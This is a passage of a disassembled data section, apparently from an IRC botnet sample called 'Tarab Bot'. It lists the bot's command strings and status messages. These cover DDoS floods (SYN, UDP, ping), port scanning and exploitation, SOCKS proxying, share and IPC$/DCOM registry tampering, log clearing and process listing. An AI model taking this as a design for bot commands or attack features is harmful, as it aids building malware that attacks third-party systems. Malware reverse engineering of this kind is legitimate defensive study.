'com.harvest',0 ; DATA XREF: sub_40EC43+15DBo aCom_ps db 'com.ps',0 ; DATA XREF: sub_40EC43+15C6o align 4 aCom_procs db 'com.procs',0 ; DATA XREF: sub_40EC43+15B1o align 4 aIrc_rm0 db 'irc.rm0',0 ; DATA XREF: sub_40EC43+159Co aIrc_rem0ve db 'irc.rem0ve',0 ; DATA XREF: sub_40EC43+1587o align 4 aCom_si db 'com.si',0 ; DATA XREF: sub_40EC43+1572o align 4 aCom_sysinfo db 'com.sysinfo',0 ; DATA XREF: sub_40EC43+155Do unk_437450 db 2 ; DATA XREF: sub_40EC43+153Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_25 db ' Failed to start flood thread, error: <%d>.',0 align 10h unk_4374A0 db 2 ; DATA XREF: sub_40EC43+14E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSFo_1 db ' Flooding: (%s:%s) for %s seconds.',0 aDdos_supersyn db 'ddos.supersyn',0 ; DATA XREF: sub_40EC43+144Eo align 10h aCom_ni db 'com.ni',0 ; DATA XREF: sub_40EC43+1439o align 4 aCom_netinfo db 'com.netinfo',0 ; DATA XREF: sub_40EC43+1424o aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40EC43+140Fo align 10h aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40EC43+13FAo align 10h aIrc_lg db 'irc.lg',0 ; DATA XREF: sub_40EC43+13E5o align 4 aIrc_log db 'irc.log',0 ; DATA XREF: sub_40EC43+13D0o aIrc_al db 'irc.al',0 ; DATA XREF: sub_40EC43+13BBo align 4 aIrc_aliases db 'irc.aliases',0 ; DATA XREF: sub_40EC43+13A6o aThreads_l db 'threads.l',0 ; DATA XREF: sub_40EC43+1391o align 10h aThreads_list db 'threads.list',0 ; DATA XREF: sub_40EC43+137Co align 10h dword_437560 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+1348o dd 2BBBB02h aFailedToReboot db ' Failed to reboot system.',0 align 4 dword_437594 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+1341o dd 2BBBB02h aRebootingSyste db ' Rebooting system.',0 aCom_rebewt db 'com.rebewt',0 ; DATA XREF: sub_40EC43+132Ao align 4 aIrc_i db 'irc.i',0 ; DATA XREF: sub_40EC43+1315o align 4 aIrc_id db 'irc.id',0 ; DATA XREF: sub_40EC43+1300o align 4 aIrc_s db 'irc.s',0 ; DATA XREF: sub_40EC43+12EBo align 4 aIrc_status db 'irc.status',0 ; DATA XREF: sub_40EC43+12D6o align 10h aIrc_q db 'irc.q',0 ; DATA XREF: sub_40EC43+12C1o align 4 aIrc_quit db 'irc.quit',0 ; DATA XREF: sub_40EC43+12ACo align 4 aIrc_d db 'irc.d',0 ; DATA XREF: sub_40EC43+1297o align 4 aIrc_disconnect db 'irc.disconnect',0 ; DATA XREF: sub_40EC43+1282o align 4 aIrc_r db 'irc.r',0 ; DATA XREF: sub_40EC43+126Do align 4 aIrc_reconnect db 'irc.reconnect',0 ; DATA XREF: sub_40EC43+1258o align 4 aRoot_st db 'root.st',0 ; DATA XREF: sub_40EC43+1243o aRoot_stats db 'root.stats',0 ; DATA XREF: sub_40EC43+122Eo align 4 aExploitation db 'Exploitation',0 ; DATA XREF: sub_40EC43+1223o align 4 aScan db 'Scan',0 ; DATA XREF: sub_40EC43+121Eo align 10h aRoot_stop db 'root.stop',0 ; DATA XREF: sub_40EC43+1205o align 4 dword_43766C dd 65027302h, 1F727563h, 2E2E1F65h, 0 ; DATA XREF: sub_40EC43+11FAo aSecure_0 db 'Secure',0 ; DATA XREF: sub_40EC43+11F5o align 4 aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40EC43+11DCo align 4 dword_437694 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ; DATA XREF: sub_40EC43+11D1o aClone db 'Clone',0 ; DATA XREF: sub_40EC43+11CCo align 4 aClone_off db 'clone.off',0 ; DATA XREF: sub_40EC43+11B3o align 4 aCom_ps_off db 'com.ps.off',0 ; DATA XREF: sub_40EC43+119Eo align 4 aCom_procs_off db 'com.procs.off',0 ; DATA XREF: sub_40EC43+1189o align 4 aUtil_ff_off db 'util.ff.off',0 ; DATA XREF: sub_40EC43+1174o aUtil_findfile_ db 'util.findfile.off',0 ; DATA XREF: sub_40EC43+115Fo align 4 dword_4376F4 dd 66027402h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EC43+1154o aDaemon_tftp_of db 'daemon.tftp.off',0 ; DATA XREF: sub_40EC43+1136o dword_437710 dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EC43+112Bo dword_43771C dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EC43+1126o dword_437728 dd 736F6464h, 6E69702Eh, 666F2E67h, 66h ; DATA XREF: sub_40EC43+110Do dword_437738 dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EC43+1102o dword_437744 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EC43+10FDo dword_437750 dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EC43+10E4o dword_437760 dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EC43+10D9o dword_43776C dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EC43+10D4o dword_437778 dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EC43+10BBo dword_437788 dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EC43+10B0o dword_437794 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EC43+10ABo dword_4377A0 dd 736F6464h, 66666F2Eh, 0 ; DATA XREF: sub_40EC43+1092o dword_4377AC dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EC43+1087o dword_4377BC dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_40EC43+1082o aProxy_redirect db 'proxy.redirect.off',0 ; DATA XREF: sub_40EC43+1069o align 10h dword_4377E0 dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EC43+105Eo dword_4377EC dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40EC43+1059o dword_4377F8 dd 2E676F6Ch, 66666Fh ; DATA XREF: sub_40EC43+1040o dword_437800 dd 74026802h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EC43+1035o dword_43780C dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EC43+1017o dword_43781C dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh ; DATA XREF: sub_40EC43+100Co aDaemon_rlogin_ db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EC43+FEEo align 10h dword_437840 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ; DATA XREF: sub_40EC43+FE3o aServer db 'Server',0 ; DATA XREF: sub_40EC43+FDEo ; sub_40EC43+1007o ... align 4 aProxy_socks4_0 db 'proxy.socks4.off',0 ; DATA XREF: sub_40EC43+FC5o align 4 aProxy_s4_on db 'proxy.s4.on',0 ; DATA XREF: sub_40EC43+FB0o aProxy_socks4_o db 'proxy.socks4.on',0 ; DATA XREF: sub_40EC43+F9Bo aLd_off db 'ld.off',0 ; DATA XREF: sub_40EC43+F86o align 10h aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40EC43+F71o align 10h aLd_on db 'ld.on',0 ; DATA XREF: sub_40EC43+F5Co align 4 aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40EC43+F47o aVer db 'ver',0 ; DATA XREF: sub_40EC43+F32o aIrc_version db 'irc.version',0 ; DATA XREF: sub_40EC43+F1Do aLo db 'lo',0 ; DATA XREF: sub_40EC43+F08o align 4 aIrc_logout db 'irc.logout',0 ; DATA XREF: sub_40EC43+EF3o align 4 aIrc_di db 'irc.di',0 ; DATA XREF: sub_40EC43+EDEo align 4 aIrc_die db 'irc.die',0 ; DATA XREF: sub_40EC43+EC9o aRn db 'rn',0 ; DATA XREF: sub_40EC43+EB4o align 4 aIrc_rndnick db 'irc.rndnick',0 ; DATA XREF: sub_40EC43+E9Co a63 db '63',0 ; DATA XREF: sub_40EC43+D77o align 4 asc_4378F8: ; DATA XREF: sub_40EC43+D4Fo unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_40EC43+D15o align 4 aServer_1 db '$server',0 ; DATA XREF: sub_40EC43+D0Ao aRndnick db '$rndnick',0 ; DATA XREF: sub_40EC43+CF9o align 4 aChan db '$chan',0 ; DATA XREF: sub_40EC43+CDDo align 10h aUser_2 db '$user',0 ; DATA XREF: sub_40EC43+CCCo align 4 aMe_0 db '$me',0 ; DATA XREF: sub_40EC43+CBAo aD db '$%d',0 ; DATA XREF: sub_40EC43+C4Co aD_0 db '$%d-',0 ; DATA XREF: sub_40EC43+B9Fo align 4 aC_1: ; DATA XREF: sub_40EC43+AADo unicode 0, <c>,0 align 10h dword_437940 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+A87o dd 2BBBB02h aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0 dword_437980 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+A76o dd 2BBBB02h aChatAlreadyAct db ' Chat already active with user: %s.',0 align 10h dword_4379C0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+A50o dd 2BBBB02h aFailedToSta_26 db ' Failed to start chat thread, error: <%d>.',0 dword_437A04 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+9F7o dd 2BBBB02h aChatFromUserS_ db ' Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_40EC43+960o align 10h dword_437A40 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+943o dd 2BBBB02h aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 dword_437A90 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_40EC43+913o dd 0A0Dh dword_437AA8 dd 4E495001h, 47h ; DATA XREF: sub_40EC43+8DFo aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40EC43+8A4o align 4 dword_437ACC dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_40EC43+88Ao dd 0D017325h, 0Ah dword_437AE8 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40EC43+859o dword_437AF4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+74Do dd 2BBBB02h aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0 aSend_0 db 'SEND',0 ; DATA XREF: sub_40EC43+6AAo align 4 dword_437B38 dd 43434401h, 0 ; DATA XREF: sub_40EC43+68Co dword_437B40 dd 323333h ; DATA XREF: sub_40EC43+60Fo ; sub_40EC43+AE3o ... unk_437B44 db 2 ; DATA XREF: sub_40EC43+590o db 36h, 2, 72h db 62h ; b db 1Fh, 20h, 28h db 69h ; i db 72h, 63h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aUserSLoggedO_0 db ' User: %s logged out.',0 align 4 dword_437B74 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+570o dd 2BBBB02h aJoinedChanne_0 db ' Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_40EC43+539o aPart db 'PART',0 ; DATA XREF: sub_40EC43+4EBo ; sub_40EC43+5ADo align 10h aSS_1 db ':%s%s',0 ; DATA XREF: sub_40EC43+4C3o align 4 aNick db 'NICK',0 ; DATA XREF: sub_40EC43+3AFo align 10h aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+352o ; sub_40EC43+5D1o unk_437BD0 db 2 ; DATA XREF: sub_40EC43+339o db 36h, 2, 72h db 62h ; b db 1Fh, 20h, 28h db 69h ; i db 72h, 63h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aUserSLoggedO_1 db ' User %s logged out.',0 align 10h aKick db 'KICK',0 ; DATA XREF: sub_40EC43+2D6o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+27Fo ; sub_40EC43+4E64o ... align 4 a433 db '433',0 ; DATA XREF: sub_40EC43+257o a@: ; DATA XREF: sub_40EC43+22Co unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40EC43+21Co a005 db '005',0 ; DATA XREF: sub_40EC43+207o a001 db '001',0 ; DATA XREF: sub_40EC43+1F2o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+1D6o ; sub_40EC43+39Co ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+1B5o align 4 aPing db 'PING',0 ; DATA XREF: sub_40EC43+19Bo align 4 asc_437C4C: ; DATA XREF: sub_40EC43+18Co ; sub_40EC43+60C1o unicode 0, <!>,0 asc_437C50 db ' :',0 ; DATA XREF: sub_40EC43+86o ; sub_40EC43:loc_40F77Eo align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_414F16+119o align 10h unk_437C60 db 2 ; DATA XREF: sub_4150C3:loc_415150o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessListFai db 'Process list failed.',0 align 4 unk_437C98 db 2 ; DATA XREF: sub_4150C3+86o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessListCom db 'Process list completed.',0 unk_437CD0 db 2 ; DATA XREF: sub_4150C3+19o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aListingProcess db 'Listing processes:',0 align 4 dword_437D04 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_415208+1E9o dd 2029671Fh, 2BBBB02h aUserLoggedOutS db ' User logged out: <%s@%s>.',0 dword_437D3C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_415208+1C2o dd 2029671Fh, 2BBBB02h aErrorSessionru db ' Error: SessionRun(): <%d>.',0 align 4 dword_437D78 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_415208+1A2o dd 2029671Fh, 2BBBB02h aUserLoggedInS@ db ' User logged in: <%s@%s>.',0 align 10h aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_415208+172o align 4 dword_437DC4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_415208+E1o dd 2029671Fh, 2BBBB02h aErrorGetpeerna db ' Error: getpeername(): <%d>.',0 align 10h dword_437E00 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_41540D:loc_41543Fo dd 2029671Fh, 2BBBB02h aProtocolString db ' Protocol string too long.',0 dword_437E38 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_41544E+1Bo dd 2029671Fh, 2BBBB02h aLoginRejectedR db ' Login rejected, Remote user: <%s@%s>.',0 align 10h dword_437E80 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_41547D+218o dd 2029671Fh, 2BBBB02h aErrorServerF_0 db ' Error: server failed, returned: <%d>.',0 align 8 dword_437EC8 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_41547D+1E8o dd 2029671Fh, 2BBBB02h aFailedToSta_27 db ' Failed to start client thread, error: <%d>.',0 align 8 dword_437F18 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_41547D+177o dd 2029671Fh, 2BBBB02h aClientConnec_1 db ' Client connection from IP: %s:%d, Server thread: %d.',0 align 10h dword_437F70 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_41547D+106o dd 2029671Fh, 2BBBB02h aReadyAndWaitin db ' Ready and waiting for incoming connections.',0 align 10h dword_437FC0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_41547D+70o dd 2029671Fh, 2BBBB02h aFailedToInstal db ' Failed to install control-C handler, error: <%d>.',0 dword_438010 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_41547D+3Do dd 2029671Fh, 2BBBB02h aErrorWsastartu db ' Error: WSAStartup(): <%d>.',0 align 10h dword_438050 dd 736E6F63h ; DATA XREF: sub_415A3A+Fr dd 74h, 0 dword_43805C dd 1 ; DATA XREF: sub_415A3A:loc_415A61r off_438060 dd offset sub_415704 ; DATA XREF: sub_415A3A+4Ar aLetter db 'letter',0 align 10h dd 2, 415762h, 706D6F63h, 2 dup(0) dd 3, 4157AFh, 6E756F63h, 797274h, 0 dd 4, 41581Eh, 736Fh, 2 dup(0) dd 5, 415893h dword_4380B4 dd 69257325h, 0 ; DATA XREF: sub_415704+40o ; .data:004157FFo ... dword_4380BC dd 4350h ; DATA XREF: .data:004157CCo dword_4380C0 dd 7C7325h ; DATA XREF: .data:0041584Do dword_4380C4 dd 5D73255Bh, 7Ch ; DATA XREF: .data:00415957o dword_4380CC dd 334B32h ; DATA XREF: .data:00415947o dword_4380D0 dd 5D64255Bh, 7325h ; DATA XREF: sub_41599D+3Ao dword_4380D8 dd 5D4D5Bh, 0 ; DATA XREF: sub_41599D+2Co ; sub_41599D+51o dword_4380E0 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh ; DATA XREF: sub_415AA4+92o dd 2029671Fh, 2BBBB02h aTarabBotIpSP_0 db ' Tarab Bot IP: %s Port: %d is open.',0 align 8 dword_438128 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh ; DATA XREF: sub_415B71+41o dd 2029671Fh, 2BBBB02h aTarabBotScanni db ' Tarab Bot Scanning IP: %s, Port: %d.',0 off_43816C dd offset dword_4381A4 ; DATA XREF: sub_415CC2:loc_415E77r ; sub_415CC2+1C3r ... dword_438170 dd 0 ; DATA XREF: sub_415FE8:loc_416169r dd offset dword_43819C dd 0 dd offset dword_438198 dd offset dword_438194 dd offset dword_438190 dd offset dword_43818C dword_43818C dd 5C3A44h ; DATA XREF: .data:00438188o dword_438190 dd 2444h ; DATA XREF: .data:00438184o dword_438194 dd 5C3A43h ; DATA XREF: .data:00438180o dword_438198 dd 2443h ; DATA XREF: .data:0043817Co dword_43819C dd 494D4441h, 244Eh ; DATA XREF: .data:00438174o dword_4381A4 dd 24435049h, 0 ; DATA XREF: .data:off_43816Co unk_4381AC db 2 ; DATA XREF: sub_415CC2+2E7o ; sub_415FE8+2DDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_4381EC db 2 ; DATA XREF: sub_415CC2+2D1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesD db ' Network shares deleted.',0 align 4 unk_438224 db 2 ; DATA XREF: sub_415CC2:loc_415F2Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0 align 10h unk_438260 db 2 ; DATA XREF: sub_415CC2+263o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 align 4 unk_438294 db 2 ; DATA XREF: sub_415CC2:loc_415E9Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 10h unk_4382D0 db 2 ; DATA XREF: sub_415CC2+1D3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 4 unk_438304 db 2 ; DATA XREF: sub_415CC2:loc_415DF4o ; sub_415FE8:loc_416116o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 8 unk_438348 db 2 ; DATA XREF: sub_415CC2:loc_415DEDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 align 8 unk_438398 db 2 ; DATA XREF: sub_415CC2:loc_415DD5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 10h unk_4383E0 db 2 ; DATA XREF: sub_415CC2+10Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_415CC2+EDo ; sub_415FE8+EDo align 10h unk_438440 db 2 ; DATA XREF: sub_415CC2+91o ; sub_415FE8+91o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenDc db ' Failed to open DCOM registry key.',0 align 10h dword_438480 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_415CC2:loc_415D35o dd 2202967h, 2002BBBBh, 4F434420h, 6964204Dh, 6C626173h dd 2E6465h unk_4384AC db 2 ; DATA XREF: sub_415CC2+6Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDisableDcomFai db ' Disable DCOM failed.',0 align 10h aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_415CC2+54o ; sub_415FE8+54o align 4 word_4384EC dw 4Eh ; DATA XREF: sub_415CC2+38r align 10h unk_4384F0 db 2 ; DATA XREF: sub_415FE8+2C5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesA db ' Network shares added.',0 align 4 aC_2 db '%c:\',0 ; DATA XREF: sub_415FE8+22Fo align 4 aC_3 db '%c$',0 ; DATA XREF: sub_415FE8+21Eo unk_438530 db 2 ; DATA XREF: sub_415FE8:loc_416195o ; sub_415FE8:loc_416260o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0 align 4 unk_438568 db 2 ; DATA XREF: sub_415FE8+1A6o ; sub_415FE8+271o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0 align 4 unk_438598 db 2 ; DATA XREF: sub_415FE8:loc_41610Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0 align 8 unk_4385E8 db 2 ; DATA XREF: sub_415FE8:loc_4160F7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0 align 10h unk_438630 db 2 ; DATA XREF: sub_415FE8+108o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0 dword_43867C dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_415FE8:loc_41605Bo dd 2202967h, 2002BBBBh, 4F434420h, 6E65204Dh, 656C6261h dd 2E64h unk_4386A8 db 2 ; DATA XREF: sub_415FE8+6Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 